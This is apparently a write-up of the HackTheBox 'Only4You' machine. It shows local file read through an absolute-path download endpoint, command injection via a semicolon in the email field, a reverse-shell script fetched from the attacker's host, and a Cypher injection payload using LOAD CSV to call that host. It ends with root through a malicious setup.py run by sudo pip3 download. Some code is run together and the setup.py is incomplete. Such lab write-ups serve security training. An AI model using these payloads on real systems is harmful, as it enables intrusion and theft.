only4you.htb seemed like a static site with the contact functionality where we had some input fields, directory busting did not reveal anything interestin:
Doing the vhost scan, we can see that beta.only4you.htb :
if __name__ == '__main__': app.run(host='127.0.0.1', port=80, debug=False)
We see that it has a download endpoint where it checks basic things for LFI like ../ characters and also checks if the given path is not absolute, check from the application’s upload directory but if the given path is absolute, then proceed to provide the file in the response. This can be taken into our advantage as we can specify the absolute path of any arbitrary file on the system and retrieve the contents of it, from example giving ../../../../.../../etc/paswd will result in failure as it won’t pass the filter check but giving /etc/passwd which is the absolute path, the application will return the file contents.
From the further investigation, nothing interesting was found, since we know that there is the main website running, I checked the error.log for the nginx and it showed the directory path for the main site:
I grabbed that [app.py](http://app.py) from the only4you.htb directory from the /var/www/
from flask import Flask, render_template, request, flash, redirect from form import sendmessage import uuid
@app.route('/', methods=['GET', 'POST']) defindex(): if request.method == 'POST': email = request.form['email'] subject = request.form['subject'] message = request.form['message'] ip = request.remote_addr
status = sendmessage(email, subject, message, ip) if status == 0: flash('Something went wrong!', 'danger') elif status == 1: flash('You are not authorized!', 'danger') else: flash('Your message was successfuly sent! We will reply as soon as possible.', 'success') return redirect('/#contact') else: return render_template('index.html')
if __name__ == '__main__': app.run(host='127.0.0.1', port=80, debug=False)
From the first glance the code had nothing interesting accept form module which was being imported, checking the [form.py](http://form.py) :
import smtplib, re from email.message import EmailMessage from subprocess import PIPE, run import ipaddress
defissecure(email, ip): ifnot re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email): return0 else: domain = email.split("@", 1)[1] result = run([f"dig txt {domain}"], shell=True, stdout=PIPE) output = result.stdout.decode('utf-8') if"v=spf1"notin output: return1 else: domains = [] ips = [] if"include:"in output: dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:") dms.pop(0) for domain in dms: domains.append(domain) whileTrue: for domain in domains: result = run([f"dig txt {domain}"], shell=True, stdout=PIPE) output = result.stdout.decode('utf-8') if"include:"in output: dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:") domains.clear() for domain in dms: domains.append(domain) elif"ip4:"in output: ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:") ipaddresses.pop(0) for i in ipaddresses: ips.append(i) else: pass break elif"ip4"in output: ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:") ipaddresses.pop(0) for i in ipaddresses: ips.append(i) else: return1 for i in ips: if ip == i: return2 elif ipaddress.ip_address(ip) in ipaddress.ip_network(i): return2 else: return1
defsendmessage(email, subject, message, ip): status = issecure(email, ip) if status == 2: msg = EmailMessage() msg['From'] = f'{email}' msg['To'] = 'info@only4you.htb' msg['Subject'] = f'{subject}' msg['Message'] = f'{message}'
smtp = smtplib.SMTP(host='localhost', port=25) smtp.send_message(msg) smtp.quit() return status elif status == 1: return status else: return status
This script performs the pattern to check for the email address then split it in two half and check the address of the domain by calling dig via [subprocess.run](http://subprocess.run)
Though the regex was used to check if the pattern matches the email then the second half was passed to the dig command, what we can do here is provide a valid mail and after that add a semicolon in the address, since re.match is used, once the pattern will be found it will return True
As we can see that ;id was given at the end of the mail address and is executed. Next, we can try the same payload on the website, here we can just provide the wget command to confirm if it is working and it made the connection to local HTTP Server:
❯ sudo python3 -m http.server 80 --bind 10.10.14.22 [sudo] password for kali: Serving HTTP on 10.10.14.22 port 80 (http://10.10.14.22:80/) ... 10.10.11.210 - - [23/Apr/2023 07:25:03] "GET / HTTP/1.1"200 -
Now, we just download the [shel.sh](http://shel.sh) file containing the reverse shell payload and then executing it with the next request with bash /tmp/shell.sh
After doing initial enumeration, I noticed there were two users named john and dev and in the /opt folder, we see that there were two folders gogs and internal_app but we did not have permissions to check the folder, moving on, I saw that there were two ports in use 3000 and 8001
bash-5.0$ netstat -ntpl netstat -ntpl Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 00127.0.0.1:30000.0.0.0:* LISTEN - tcp 00127.0.0.1:80010.0.0.0:* LISTEN - tcp 00127.0.0.1:330600.0.0.0:* LISTEN - tcp 00127.0.0.1:33060.0.0.0:* LISTEN - tcp 000.0.0.0:800.0.0.0:* LISTEN 1034/nginx: worker tcp 00127.0.0.53:530.0.0.0:* LISTEN - tcp 000.0.0.0:220.0.0.0:* LISTEN - tcp6 00127.0.0.1:7687 :::* LISTEN - tcp6 00127.0.0.1:7474 :::* LISTEN - tcp6 00 :::22 :::* LISTEN - bash-5.0$ cd /tmp
Since we do not have the SSH connection, I used the chisel to perform port forwarding:
Checking the port 3000 , it was running gogs and we did not have any credentials to check here:
Moving on to the port 8001 , it also had a login page:
Trying with the following credentials resulted in the application access:
admin:admin
The application had a task marked as completed that the transfer to neo4j database has been completed:
We also had a “Employee” page which allowed us to search for employees:
Giving a single quote in the search box resulted in 500 error:
Given, we already know that the backend database is neo4j , just a note that it differs from the SQL queries, neo4j uses Cypher Queries and for the Cypher queries one thing to note down is that every query must return some sort of the value. To check and confirm the hypothesis of the injection, there is a procedure named as LOAD CSV FROM which can be used to load arbitrary values from a remote server over HTTP connection. Here, we just tried to check if it makes the connection to our remote HTTP server:
' OR 1=1 LOAD CSV FROM 'http://10.10.14.22' AS y RETURN ''//
Injecting the above query and checking the HTTP Server, we see that there were some requests made to it from 10.10.11.210
Cracking the hashes on the crackstation, we see that there is a hash which equals to ThisIs4You and that has belonged to john user:
john:ThisIs4You
Now, we can login to the SSH via the obtained credentials:
Once logged in and checking if there is any command that could be ran by john user:
john@only4you:~$ sudo -l Matching Defaults entries for john on only4you: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User john may run the following commands on only4you: (root) NOPASSWD: /usr/bin/pip3 download http\://127.0.0.1\:3000/*.tar.gz
Now, searching for any privilege escalation online for the pip download, I stumbled on the following post:
Following the post, I just changed the [setup.py](http://setup.py) and used os.system to execute the same shell script that I had downloaded previously to the machine:
from setuptools import setup, find_packages from setuptools.command.install import install from setuptools.command.egg_info import egg_info import os
setup( name = "this_is_fine_wuzzi", version = "0.0.1", license = "MIT", packages=find_packages(), cmdclass={ 'install' : RunInstallCommand, 'egg_info': RunEggInfoCommand }, )
Now, we can just upload the tar.gz file to a repository ongogs using john credentials and then execute the command:
Note that in order to run the sudo pip download , it only accepted a tar.gz file downloaded from the port 3000 of the localhost, so we needed to upload the tar.gz file to the gogs
I uploaded the tar.gz via git command as the web application for the gogs was too buggy over the tunneling, then executing the command, resulted in root :